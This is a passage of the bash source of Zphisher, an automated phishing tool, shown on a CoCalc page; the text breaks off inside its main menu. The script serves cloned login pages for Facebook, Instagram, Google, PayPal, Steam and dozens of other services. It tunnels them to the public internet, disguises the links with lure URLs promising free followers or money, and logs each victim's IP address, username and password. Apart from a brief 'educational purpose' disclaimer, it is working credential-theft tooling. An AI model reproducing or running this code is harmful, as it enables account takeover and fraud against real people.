CoCalc is a real-time collaborative commercial alternative to JupyterHub and Overleaf that provides Jupyter Notebooks, LaTeX documents, and SageMath.
CoCalc is a real-time collaborative commercial alternative to JupyterHub and Overleaf that provides Jupyter Notebooks, LaTeX documents, and SageMath.
Path: blob/master/zphisher.sh
Views: 3094
#!/bin/bash12## Zphisher : Automated Phishing Tool3## Author : TAHMID RAYAT4## Version : 2.3.55## Github : https://github.com/htr-tech/zphisher678## GNU GENERAL PUBLIC LICENSE9## Version 3, 29 June 200710##11## Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>12## Everyone is permitted to copy and distribute verbatim copies13## of this license document, but changing it is not allowed.14##15## Preamble16##17## The GNU General Public License is a free, copyleft license for18## software and other kinds of works.19##20## The licenses for most software and other practical works are designed21## to take away your freedom to share and change the works. By contrast,22## the GNU General Public License is intended to guarantee your freedom to23## share and change all versions of a program--to make sure it remains free24## software for all its users. We, the Free Software Foundation, use the25## GNU General Public License for most of our software; it applies also to26## any other work released this way by its authors. You can apply it to27## your programs, too.28##29## When we speak of free software, we are referring to freedom, not30## price. Our General Public Licenses are designed to make sure that you31## have the freedom to distribute copies of free software (and charge for32## them if you wish), that you receive source code or can get it if you33## want it, that you can change the software or use pieces of it in new34## free programs, and that you know you can do these things.35##36## To protect your rights, we need to prevent others from denying you37## these rights or asking you to surrender the rights. Therefore, you have38## certain responsibilities if you distribute copies of the software, or if39## you modify it: responsibilities to respect the freedom of others.40##41## For example, if you distribute copies of such a program, whether42## gratis or for a fee, you must pass on to the recipients the same43## freedoms that you received. You must make sure that they, too, receive44## or can get the source code. And you must show them these terms so they45## know their rights.46##47## Developers that use the GNU GPL protect your rights with two steps:48## (1) assert copyright on the software, and (2) offer you this License49## giving you legal permission to copy, distribute and/or modify it.50##51## For the developers' and authors' protection, the GPL clearly explains52## that there is no warranty for this free software. For both users' and53## authors' sake, the GPL requires that modified versions be marked as54## changed, so that their problems will not be attributed erroneously to55## authors of previous versions.56##57## Some devices are designed to deny users access to install or run58## modified versions of the software inside them, although the manufacturer59## can do so. This is fundamentally incompatible with the aim of60## protecting users' freedom to change the software. The systematic61## pattern of such abuse occurs in the area of products for individuals to62## use, which is precisely where it is most unacceptable. Therefore, we63## have designed this version of the GPL to prohibit the practice for those64## products. If such problems arise substantially in other domains, we65## stand ready to extend this provision to those domains in future versions66## of the GPL, as needed to protect the freedom of users.67##68## Finally, every program is threatened constantly by software patents.69## States should not allow patents to restrict development and use of70## software on general-purpose computers, but in those that do, we wish to71## avoid the special danger that patents applied to a free program could72## make it effectively proprietary. To prevent this, the GPL assures that73## patents cannot be used to render the program non-free.74##75## The precise terms and conditions for copying, distribution and76## modification follow.77##78## Copyright (C) 2022 HTR-TECH (https://github.com/htr-tech)79##8081## THANKS TO :82## 1RaY-1 - https://github.com/1RaY-183## Aditya Shakya - https://github.com/adi1090x84## Ali Milani Amin - https://github.com/AliMilani85## Ignitetch - https://github.com/Ignitetch/AdvPhishing86## Moises Tapia - https://github.com/MoisesTapia87## Mr.Derek - https://github.com/E343IO88## Mustakim Ahmed - https://github.com/bdhackers00989## TheLinuxChoice - https://twitter.com/linux_choice909192__version__="2.3.5"9394## DEFAULT HOST & PORT95HOST='127.0.0.1'96PORT='8080'9798## ANSI colors (FG & BG)99RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"100MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"101REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"102MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"103RESETBG="$(printf '\e[0m\n')"104105## Directories106BASE_DIR=$(realpath "$(dirname "$BASH_SOURCE")")107108if [[ ! -d ".server" ]]; then109mkdir -p ".server"110fi111112if [[ ! -d "auth" ]]; then113mkdir -p "auth"114fi115116if [[ -d ".server/www" ]]; then117rm -rf ".server/www"118mkdir -p ".server/www"119else120mkdir -p ".server/www"121fi122123## Remove logfile124if [[ -e ".server/.loclx" ]]; then125rm -rf ".server/.loclx"126fi127128if [[ -e ".server/.cld.log" ]]; then129rm -rf ".server/.cld.log"130fi131132## Script termination133exit_on_signal_SIGINT() {134{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }135exit 0136}137138exit_on_signal_SIGTERM() {139{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }140exit 0141}142143trap exit_on_signal_SIGINT SIGINT144trap exit_on_signal_SIGTERM SIGTERM145146## Reset terminal colors147reset_color() {148tput sgr0 # reset attributes149tput op # reset color150return151}152153## Kill already running process154kill_pid() {155check_PID="php cloudflared loclx"156for process in ${check_PID}; do157if [[ $(pidof ${process}) ]]; then # Check for Process158killall ${process} > /dev/null 2>&1 # Kill the Process159fi160done161}162163# Check for a newer release164check_update(){165echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : "166relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest'167new_version=$(curl -s "${relase_url}" | grep '"tag_name":' | awk -F\" '{print $4}')168tarball_url="https://github.com/htr-tech/zphisher/archive/refs/tags/${new_version}.tar.gz"169170if [[ $new_version != $__version__ ]]; then171echo -ne "${ORANGE}update found\n"${WHITE}172sleep 2173echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..."174pushd "$HOME" > /dev/null 2>&1175curl --silent --insecure --fail --retry-connrefused \176--retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}"177178if [[ -e ".zphisher.tar.gz" ]]; then179tar -xf .zphisher.tar.gz -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1180[ $? -ne 0 ] && { echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occured while extracting."; reset_color; exit 1; }181rm -f .zphisher.tar.gz182popd > /dev/null 2>&1183{ sleep 3; clear; banner_small; }184echo -ne "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n"${WHITE}185{ reset_color ; exit 1; }186else187echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading."188{ reset_color; exit 1; }189fi190else191echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5192fi193}194195## Check Internet Status196check_status() {197echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : "198timeout 3s curl -fIs "https://api.github.com" > /dev/null199[ $? -eq 0 ] && echo -e "${GREEN}Online${WHITE}" && check_update || echo -e "${RED}Offline${WHITE}"200}201202## Banner203banner() {204cat <<- EOF205${ORANGE}206${ORANGE} ______ _ _ _207${ORANGE}|___ / | | (_) | |208${ORANGE} / / _ __ | |__ _ ___| |__ ___ _ __209${ORANGE} / / | '_ \| '_ \| / __| '_ \ / _ \ '__|210${ORANGE} / /__| |_) | | | | \__ \ | | | __/ |211${ORANGE}/_____| .__/|_| |_|_|___/_| |_|\___|_|212${ORANGE} | |213${ORANGE} |_| ${RED}Version : ${__version__}214215${GREEN}[${WHITE}-${GREEN}]${CYAN} Tool Created by htr-tech (tahmid.rayat)${WHITE}216EOF217}218219## Small Banner220banner_small() {221cat <<- EOF222${BLUE}223${BLUE} ░▀▀█░█▀█░█░█░▀█▀░█▀▀░█░█░█▀▀░█▀▄224${BLUE} ░▄▀░░█▀▀░█▀█░░█░░▀▀█░█▀█░█▀▀░█▀▄225${BLUE} ░▀▀▀░▀░░░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀${WHITE} ${__version__}226EOF227}228229## Dependencies230dependencies() {231echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."232233if [[ -d "/data/data/com.termux/files/home" ]]; then234if [[ ! $(command -v proot) ]]; then235echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}236pkg install proot resolv-conf -y237fi238239if [[ ! $(command -v tput) ]]; then240echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}ncurses-utils${CYAN}"${WHITE}241pkg install ncurses-utils -y242fi243fi244245if [[ $(command -v php) && $(command -v curl) && $(command -v unzip) ]]; then246echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."247else248pkgs=(php curl unzip)249for pkg in "${pkgs[@]}"; do250type -p "$pkg" &>/dev/null || {251echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE}252if [[ $(command -v pkg) ]]; then253pkg install "$pkg" -y254elif [[ $(command -v apt) ]]; then255sudo apt install "$pkg" -y256elif [[ $(command -v apt-get) ]]; then257sudo apt-get install "$pkg" -y258elif [[ $(command -v pacman) ]]; then259sudo pacman -S "$pkg" --noconfirm260elif [[ $(command -v dnf) ]]; then261sudo dnf -y install "$pkg"262elif [[ $(command -v yum) ]]; then263sudo yum -y install "$pkg"264else265echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."266{ reset_color; exit 1; }267fi268}269done270fi271}272273# Download Binaries274download() {275url="$1"276output="$2"277file=`basename $url`278if [[ -e "$file" || -e "$output" ]]; then279rm -rf "$file" "$output"280fi281curl --silent --insecure --fail --retry-connrefused \282--retry 3 --retry-delay 2 --location --output "${file}" "${url}"283284if [[ -e "$file" ]]; then285if [[ ${file#*.} == "zip" ]]; then286unzip -qq $file > /dev/null 2>&1287mv -f $output .server/$output > /dev/null 2>&1288elif [[ ${file#*.} == "tgz" ]]; then289tar -zxf $file > /dev/null 2>&1290mv -f $output .server/$output > /dev/null 2>&1291else292mv -f $file .server/$output > /dev/null 2>&1293fi294chmod +x .server/$output > /dev/null 2>&1295rm -rf "$file"296else297echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading ${output}."298{ reset_color; exit 1; }299fi300}301302## Install Cloudflared303install_cloudflared() {304if [[ -e ".server/cloudflared" ]]; then305echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed."306else307echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing Cloudflared..."${WHITE}308arch=`uname -m`309if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then310download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' 'cloudflared'311elif [[ "$arch" == *'aarch64'* ]]; then312download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' 'cloudflared'313elif [[ "$arch" == *'x86_64'* ]]; then314download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' 'cloudflared'315else316download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386' 'cloudflared'317fi318fi319}320321## Install LocalXpose322install_localxpose() {323if [[ -e ".server/loclx" ]]; then324echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} LocalXpose already installed."325else326echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing LocalXpose..."${WHITE}327arch=`uname -m`328if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then329download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip' 'loclx'330elif [[ "$arch" == *'aarch64'* ]]; then331download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip' 'loclx'332elif [[ "$arch" == *'x86_64'* ]]; then333download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip' 'loclx'334else335download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip' 'loclx'336fi337fi338}339340## Exit message341msg_exit() {342{ clear; banner; echo; }343echo -e "${GREENBG}${BLACK} Thank you for using this tool. Have a good day.${RESETBG}\n"344{ reset_color; exit 0; }345}346347## About348about() {349{ clear; banner; echo; }350cat <<- EOF351${GREEN} Author ${RED}: ${ORANGE}TAHMID RAYAT ${RED}[ ${ORANGE}HTR-TECH ${RED}]352${GREEN} Github ${RED}: ${CYAN}https://github.com/htr-tech353${GREEN} Social ${RED}: ${CYAN}https://tahmidrayat.is-a.dev354${GREEN} Version ${RED}: ${ORANGE}${__version__}355356${WHITE} ${REDBG}Warning:${RESETBG}357${CYAN} This Tool is made for educational purpose358only ${RED}!${WHITE}${CYAN} Author will not be responsible for359any misuse of this toolkit ${RED}!${WHITE}360361${WHITE} ${CYANBG}Special Thanks to:${RESETBG}362${GREEN} 1RaY-1, Adi1090x, AliMilani, BDhackers009,363KasRoudra, E343IO, sepp0, ThelinuxChoice,364Yisus7u7365366${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit367368EOF369370read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"371case $REPLY in37299)373msg_exit;;3740 | 00)375echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..."376{ sleep 1; main_menu; };;377*)378echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."379{ sleep 1; about; };;380esac381}382383## Choose custom port384cusport() {385echo386read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Custom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS387if [[ ${P_ANS} =~ ^([yY])$ ]]; then388echo -e "\n"389read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port [1024-9999] : ${WHITE}" CU_P390if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then391PORT=${CU_P}392echo393else394echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"395{ sleep 2; clear; banner_small; cusport; }396fi397else398echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n"399fi400}401402## Setup website and start php server403setup_site() {404echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}405cp -rf .sites/"$website"/* .server/www406cp -f .sites/ip.php .server/www/407echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}408cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &409}410411## Get IP address412capture_ip() {413IP=$(awk -F'IP: ' '{print $2}' .server/www/ip.txt | xargs)414IFS=$'\n'415echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"416echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/ip.txt"417cat .server/www/ip.txt >> auth/ip.txt418}419420## Get credentials421capture_creds() {422ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')423PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')424IFS=$'\n'425echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"426echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"427echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat"428cat .server/www/usernames.txt >> auth/usernames.dat429echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "430}431432## Print data433capture_data() {434echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit..."435while true; do436if [[ -e ".server/www/ip.txt" ]]; then437echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !"438capture_ip439rm -rf .server/www/ip.txt440fi441sleep 0.75442if [[ -e ".server/www/usernames.txt" ]]; then443echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Login info Found !!"444capture_creds445rm -rf .server/www/usernames.txt446fi447sleep 0.75448done449}450451## Start Cloudflared452start_cloudflared() {453rm .cld.log > /dev/null 2>&1 &454cusport455echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"456{ sleep 1; setup_site; }457echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."458459if [[ `command -v termux-chroot` ]]; then460sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &461else462sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &463fi464465sleep 8466cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log")467custom_url "$cldflr_url"468capture_data469}470471localxpose_auth() {472./.server/loclx -help > /dev/null 2>&1 &473sleep 1474[ -d ".localxpose" ] && auth_f=".localxpose/.access" || auth_f="$HOME/.localxpose/.access"475476[ "$(./.server/loclx account status | grep Error)" ] && {477echo -e "\n\n${RED}[${WHITE}!${RED}]${GREEN} Create an account on ${ORANGE}localxpose.io${GREEN} & copy the token\n"478sleep 3479read -p "${RED}[${WHITE}-${RED}]${ORANGE} Input Loclx Token :${ORANGE} " loclx_token480[[ $loclx_token == "" ]] && {481echo -e "\n${RED}[${WHITE}!${RED}]${RED} You have to input Localxpose Token." ; sleep 2 ; tunnel_menu482} || {483echo -n "$loclx_token" > $auth_f 2> /dev/null484}485}486}487488## Start LocalXpose (Again...)489start_loclx() {490cusport491echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"492{ sleep 1; setup_site; localxpose_auth; }493echo -e "\n"494read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion495[[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us"496echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."497498if [[ `command -v termux-chroot` ]]; then499sleep 1 && termux-chroot ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &500else501sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &502fi503504sleep 12505loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io')506custom_url "$loclx_url"507capture_data508}509510## Start localhost511start_localhost() {512cusport513echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"514setup_site515{ sleep 1; clear; banner_small; }516echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"517capture_data518}519520## Tunnel selection521tunnel_menu() {522{ clear; banner_small; }523cat <<- EOF524525${RED}[${WHITE}01${RED}]${ORANGE} Localhost526${RED}[${WHITE}02${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]527${RED}[${WHITE}03${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]528529EOF530531read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}"532533case $REPLY in5341 | 01)535start_localhost;;5362 | 02)537start_cloudflared;;5383 | 03)539start_loclx;;540*)541echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."542{ sleep 1; tunnel_menu; };;543esac544}545546## Custom Mask URL547custom_mask() {548{ sleep .5; clear; banner_small; echo; }549read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op550echo551if [[ ${mask_op,,} == "y" ]]; then552echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"553read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+554if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then555mask=$mask_url556echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"557else558echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.."559fi560fi561}562563## URL Shortner564site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }565566shorten() {567short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2")568if [[ "$1" == *"shrtco.de"* ]]; then569processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}')570else571# processed_url=$(echo "$short" | awk -F// '{print $NF}')572processed_url=${short#http*//}573fi574}575576custom_url() {577url=${1#http*//}578isgd="https://is.gd/create.php?format=simple&url="579shortcode="https://api.shrtco.de/v2/shorten?url="580tinyurl="https://tinyurl.com/api-create.php?url="581582{ custom_mask; sleep 1; clear; banner_small; }583if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then584if [[ $(site_stat $isgd) == 2* ]]; then585shorten $isgd "$url"586elif [[ $(site_stat $shortcode) == 2* ]]; then587shorten $shortcode "$url"588else589shorten $tinyurl "$url"590fi591592url="https://$url"593masked_url="$mask@$processed_url"594processed_url="https://$processed_url"595else596# echo "[!] No url provided / Regex Not Matched"597url="Unable to generate links. Try after turning on hotspot"598processed_url="Unable to Short URL"599fi600601echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url"602echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url"603[[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url"604}605606607site_facebook() {608cat <<- EOF609610${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page611${RED}[${WHITE}02${RED}]${ORANGE} Advanced Voting Poll Login Page612${RED}[${WHITE}03${RED}]${ORANGE} Fake Security Login Page613${RED}[${WHITE}04${RED}]${ORANGE} Facebook Messenger Login Page614615EOF616617read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"618619case $REPLY in6201 | 01)621website="facebook"622mask='https://blue-verified-badge-for-facebook-free'623tunnel_menu;;6242 | 02)625website="fb_advanced"626mask='https://vote-for-the-best-social-media'627tunnel_menu;;6283 | 03)629website="fb_security"630mask='https://make-your-facebook-secured-and-free-from-hackers'631tunnel_menu;;6324 | 04)633website="fb_messenger"634mask='https://get-messenger-premium-features-free'635tunnel_menu;;636*)637echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."638{ sleep 1; clear; banner_small; site_facebook; };;639esac640}641642643site_instagram() {644cat <<- EOF645646${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page647${RED}[${WHITE}02${RED}]${ORANGE} Auto Followers Login Page648${RED}[${WHITE}03${RED}]${ORANGE} 1000 Followers Login Page649${RED}[${WHITE}04${RED}]${ORANGE} Blue Badge Verify Login Page650651EOF652653read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"654655case $REPLY in6561 | 01)657website="instagram"658mask='https://get-unlimited-followers-for-instagram'659tunnel_menu;;6602 | 02)661website="ig_followers"662mask='https://get-unlimited-followers-for-instagram'663tunnel_menu;;6643 | 03)665website="insta_followers"666mask='https://get-1000-followers-for-instagram'667tunnel_menu;;6684 | 04)669website="ig_verify"670mask='https://blue-badge-verify-for-instagram-free'671tunnel_menu;;672*)673echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."674{ sleep 1; clear; banner_small; site_instagram; };;675esac676}677678## Gmail/Google679site_gmail() {680cat <<- EOF681682${RED}[${WHITE}01${RED}]${ORANGE} Gmail Old Login Page683${RED}[${WHITE}02${RED}]${ORANGE} Gmail New Login Page684${RED}[${WHITE}03${RED}]${ORANGE} Advanced Voting Poll685686EOF687688read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"689690case $REPLY in6911 | 01)692website="google"693mask='https://get-unlimited-google-drive-free'694tunnel_menu;;6952 | 02)696website="google_new"697mask='https://get-unlimited-google-drive-free'698tunnel_menu;;6993 | 03)700website="google_poll"701mask='https://vote-for-the-best-social-media'702tunnel_menu;;703*)704echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."705{ sleep 1; clear; banner_small; site_gmail; };;706esac707}708709## Vk710site_vk() {711cat <<- EOF712713${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page714${RED}[${WHITE}02${RED}]${ORANGE} Advanced Voting Poll Login Page715716EOF717718read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"719720case $REPLY in7211 | 01)722website="vk"723mask='https://vk-premium-real-method-2020'724tunnel_menu;;7252 | 02)726website="vk_poll"727mask='https://vote-for-the-best-social-media'728tunnel_menu;;729*)730echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."731{ sleep 1; clear; banner_small; site_vk; };;732esac733}734735## Menu736main_menu() {737{ clear; banner; echo; }738cat <<- EOF739${RED}[${WHITE}::${RED}]${ORANGE} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${ORANGE}740741${RED}[${WHITE}01${RED}]${ORANGE} Facebook ${RED}[${WHITE}11${RED}]${ORANGE} Twitch ${RED}[${WHITE}21${RED}]${ORANGE} DeviantArt742${RED}[${WHITE}02${RED}]${ORANGE} Instagram ${RED}[${WHITE}12${RED}]${ORANGE} Pinterest ${RED}[${WHITE}22${RED}]${ORANGE} Badoo743${RED}[${WHITE}03${RED}]${ORANGE} Google ${RED}[${WHITE}13${RED}]${ORANGE} Snapchat ${RED}[${WHITE}23${RED}]${ORANGE} Origin744${RED}[${WHITE}04${RED}]${ORANGE} Microsoft ${RED}[${WHITE}14${RED}]${ORANGE} Linkedin ${RED}[${WHITE}24${RED}]${ORANGE} DropBox745${RED}[${WHITE}05${RED}]${ORANGE} Netflix ${RED}[${WHITE}15${RED}]${ORANGE} Ebay ${RED}[${WHITE}25${RED}]${ORANGE} Yahoo746${RED}[${WHITE}06${RED}]${ORANGE} Paypal ${RED}[${WHITE}16${RED}]${ORANGE} Quora ${RED}[${WHITE}26${RED}]${ORANGE} Wordpress747${RED}[${WHITE}07${RED}]${ORANGE} Steam ${RED}[${WHITE}17${RED}]${ORANGE} Protonmail ${RED}[${WHITE}27${RED}]${ORANGE} Yandex748${RED}[${WHITE}08${RED}]${ORANGE} Twitter ${RED}[${WHITE}18${RED}]${ORANGE} Spotify ${RED}[${WHITE}28${RED}]${ORANGE} StackoverFlow749${RED}[${WHITE}09${RED}]${ORANGE} Playstation ${RED}[${WHITE}19${RED}]${ORANGE} Reddit ${RED}[${WHITE}29${RED}]${ORANGE} Vk750${RED}[${WHITE}10${RED}]${ORANGE} Tiktok ${RED}[${WHITE}20${RED}]${ORANGE} Adobe ${RED}[${WHITE}30${RED}]${ORANGE} XBOX751${RED}[${WHITE}31${RED}]${ORANGE} Mediafire ${RED}[${WHITE}32${RED}]${ORANGE} Gitlab ${RED}[${WHITE}33${RED}]${ORANGE} Github752${RED}[${WHITE}34${RED}]${ORANGE} Discord ${RED}[${WHITE}35${RED}]${ORANGE} Roblox753754${RED}[${WHITE}99${RED}]${ORANGE} About ${RED}[${WHITE}00${RED}]${ORANGE} Exit755756EOF757758read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"759760case $REPLY in7611 | 01)762site_facebook;;7632 | 02)764site_instagram;;7653 | 03)766site_gmail;;7674 | 04)768website="microsoft"769mask='https://unlimited-onedrive-space-for-free'770tunnel_menu;;7715 | 05)772website="netflix"773mask='https://upgrade-your-netflix-plan-free'774tunnel_menu;;7756 | 06)776website="paypal"777mask='https://get-500-usd-free-to-your-acount'778tunnel_menu;;7797 | 07)780website="steam"781mask='https://steam-500-usd-gift-card-free'782tunnel_menu;;7838 | 08)784website="twitter"785mask='https://get-blue-badge-on-twitter-free'786tunnel_menu;;7879 | 